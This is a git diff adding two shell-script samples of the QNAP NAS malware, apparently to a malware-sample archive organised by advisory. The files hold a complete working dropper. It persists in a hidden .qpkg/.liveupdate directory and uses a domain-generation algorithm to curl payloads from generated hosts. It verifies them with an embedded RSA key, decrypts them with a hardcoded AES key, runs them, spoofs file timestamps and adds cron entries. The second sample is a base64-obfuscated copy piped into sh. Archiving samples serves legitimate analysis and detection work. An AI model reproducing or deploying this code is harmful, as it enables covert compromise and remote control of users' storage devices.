a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a9364f3faffa71acb51b7035738cbd5e7438721b9d2be120e46b5fd3b23c6c18 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a9364f3faffa71acb51b7035738cbd5e7438721b9d2be120e46b5fd3b23c6c18 new file mode 100644 index 0000000..87bd4d2 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a9364f3faffa71acb51b7035738cbd5e7438721b9d2be120e46b5fd3b23c6c18 @@ -0,0 +1,568 @@ +#!/bin/sh +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.liveupdate/liveupdate.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cat > "${bdir}/.qpkg/.liveupdate/liveupdate.sh" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi +XEOF +chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.liveupdate/liveupdate.sh" +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "${bdir}/.qpkg/.liveupdate/liveupdate.sh" || chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh" + +crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p') +trycount=10; trycount=$(( $trycount - 10 )) +set x $crontabargs; shift +while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do +trycount=$(( $trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break +test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break +done +test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "$crontabfile" "${confdir}/crontab"; do +if $fgrep "${bdir}/.qpkg/.liveupdate/liveupdate.sh" "$crontab"; then +: +else +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.liveupdate/liveupdate.sh >/dev/null 2>/dev/null" >> "$crontab" +crontab "$crontab" +sleep 2 +fi +done +) & ) & diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/fa3c2f8e3309ee67e7684abc6602eea0d1d18d5d799a266209ce594947269346 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/fa3c2f8e3309ee67e7684abc6602eea0d1d18d5d799a266209ce594947269346 new file mode 100644 index 0000000..d90a97c --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/fa3c2f8e3309ee67e7684abc6602eea0d1d18d5d799a266209ce594947269346 @@ -0,0 +1,572 @@ +#!/bin/sh +(exec>/dev/null>&1 2>&1;(PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin";openssl base64 -d -A <<"EOF"|sh& +KCBleGVjID4vZGV2L251bGwgMj4mMTsgKApleHBvcnQgUEFUSD0iJHtQQVRIfTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2Jpbi9YMTE6L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluIgpjb21tYW5kIC12IGRpcm5hbWUgPi9kZXYvbnVsbCAyPiYxIHx8IGRpcm5hbWUgKCkgeyB0ZXN0IC16ICIkMSIgJiYgZWNobyAiLiIgJiYgcmV0dXJuOyBsb2NhbCByPSIkezElIiR7MSMjKlshL119In0iOyBjYXNlICRyIGluIC8qWyEvXSovKnxbIS9dKi8qKSByPSIke3IlLyp9IjsgZWNobyAiJHtyJSIke3IjIypbIS9dfSJ9Ijs7ICovKikgZWNobyAke3IlJVshL119OzsgIiIpIGVjaG8gJDE7OyAqKSBlY2hvIC47OyBlc2FjOyB9CnRlc3QgLWQgL2V0Yy9jb25maWcgJiYgY29uZmRpcj0vZXRjL2NvbmZpZyB8fCB7IHRlc3QgLWQgL21udC9IREFfUk9PVC8uY29uZmlnICYmIGNvbmZkaXI9L21udC9IREFfUk9PVC8uY29uZmlnOyB9CnRlc3QgLWQgIiRjb25mZGlyIiB8fCBjb25mZGlyPS9ldGMvY29uZmlnCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcClxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVwKLy9JO3MvXCheXHxcClwpXFtbXlwKXVwrXF1cCi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9CmJkaXI9CnRlc3QgLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiICYmIGZvciBpIGluIGhvbWVzIFB1YmxpYyBEb3dubG9hZCBNdWx0aW1lZGlhIFdlYiBSZWNvcmRpbmdzOyBkbyBiZGlyPWBnZXRjZmcgIiRpIiBwYXRoIC1mICIke2NvbmZkaXJ9L3NtYi5jb25mImAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiB0ZXN0IC1kICIkYmRpciIgJiYgdGVzdHdyaXRlYWJsZT0kKG1rdGVtcCAiJHtiZGlyfS8udG1wLlhYWFhYWCIpICYmIHJtICIke3Rlc3R3cml0ZWFibGV9IiAmJiBicmVhazsgYmRpcj0nJzsgZG9uZQp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIHsgY29tbWFuZCAtdiByZWFkbGluayA+L2Rldi9udWxsIDI+JjEgfHwgbG4gLXNmIC9iaW4vYnVzeWJveCAvdXNyL2Jpbi9yZWFkbGluazsgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YHJlYWRsaW5rICIvc2hhcmUvJHtpfSIgMj4vZGV2L251bGxgICYmIHRlc3QgISAteiAiJGJkaXIiICYmIGJkaXI9YGRpcm5hbWUgIiRiZGlyImAgJiYgYmRpcj0vc2hhcmUvJHtiZGlyIyMqL30gJiYgdGVzdCAtZCAiJGJkaXIiICYmIGJyZWFrOyBk